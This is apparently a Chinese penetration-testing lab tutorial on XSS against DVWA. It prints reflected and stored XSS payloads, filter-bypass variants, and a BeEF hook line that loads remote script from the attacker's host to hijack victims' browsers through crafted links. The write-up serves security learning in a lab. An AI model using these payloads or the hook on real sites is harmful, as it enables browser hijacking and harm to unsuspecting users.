欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【渗透测试笔记】七、XSS跨站脚本漏洞

程序员文章站 2022-05-27 15:46:08
...

We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。

本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。

实验环境

本实验基于以下环境:

确保所有虚拟机处于同一个NAT Network下

  • 启动Metasploitable,利用 ifconfig 获取本机IP
  • 启动Kali,进行渗透测试,浏览器输入Metasploitable中查询到的IP,访问漏洞页面

关于漏洞

XSS(Cross Site Scripting ):通过注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript。

三种类型:

  • (1)持久型跨站 ( Persistent/stored XSS ):跨站代码存储在服务器(数据库)。
  • (2)反射型跨站脚本漏洞 ( Reflected XSS ):用户访问服务器-跨站链接-返回跨站代码。
  • (3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

漏洞挖掘

同样以DVWA为例,默认登录账号admin/password

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。

【渗透测试笔记】七、XSS跨站脚本漏洞
【渗透测试笔记】七、XSS跨站脚本漏洞
【渗透测试笔记】七、XSS跨站脚本漏洞

1. Reflected Cross Site Scripting (XSS)

输入内容,然后Submit
【渗透测试笔记】七、XSS跨站脚本漏洞
【渗透测试笔记】七、XSS跨站脚本漏洞
在输入框中输入的内容出现在了URL中,尝试直接修改url中的内容,注入JavaScript脚本。

<script>alert("XSS")</script>

【渗透测试笔记】七、XSS跨站脚本漏洞
代码执行成功。

2. beef xss framework

beef官网:https://beefproject.com/

引用自官网的说明:
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

在已知XSS漏洞的情况下,可以利用beef创建hook针对被hook的浏览器进行渗透。

在Kali中打开beef
【渗透测试笔记】七、XSS跨站脚本漏洞
Web UI界面:http://127.0.0.1:3000/ui/panel
Hook: <script src="http://<IP>:3000/hook.js"></script>
【渗透测试笔记】七、XSS跨站脚本漏洞
利用XSS漏洞和Hook构造URL链接,引导目标对象访问,启动之前配置的Win10虚拟机作为hook目标。

  • 构造hook链接
存在xss漏洞的URL+<script src="http://<启动beef的host的IP>:3000/hook.js"></script>
  • 启动Win10虚拟机模拟普通用户访问hook链接
    【渗透测试笔记】七、XSS跨站脚本漏洞
    打开beef Web UI,发现刚访问链接的Win10已经被钩住,可执行操作如下。
    【渗透测试笔记】七、XSS跨站脚本漏洞

3. Stored Cross Site Scripting (XSS)

存储型XSS攻击,相对于反射型来说,更具攻击性,当用户访问存在存储型XSS漏洞的网页时,被恶意注入的代码会被执行。

例如,写入以下弹窗JavaScript代码
【渗透测试笔记】七、XSS跨站脚本漏洞
当其他用户访问该页面时,恶意代码也会被执行,如在Win10访问该网页
【渗透测试笔记】七、XSS跨站脚本漏洞
同时,如果注入的是beef的hook,那么访问该网页的用户均会被钩住,从而进行漏洞利用。

4. 安全级别:Medium

尝试注入JavaScript代码,似乎过滤掉了<script>标签
【渗透测试笔记】七、XSS跨站脚本漏洞

  • 尝试混淆,如
<sCriPt>alert("XSS")</ScRiPt>

【渗透测试笔记】七、XSS跨站脚本漏洞

  • 使用其他标签
<a onmouseover="alert('XSS')">XSS+Link</a>

【渗透测试笔记】七、XSS跨站脚本漏洞

<img src="#" onerror="alert('XSS')" ></img>

【渗透测试笔记】七、XSS跨站脚本漏洞

XSS漏洞预防

  • 使用HTML转义字符,如 &lt 表示"<"
  • 限制输入类型或者避免未信任的输入信息。

利用beef和XSS漏洞的社工攻击

待更新

下一篇:CSRF(跨站请求伪造)漏洞

相关标签: 【渗透测试】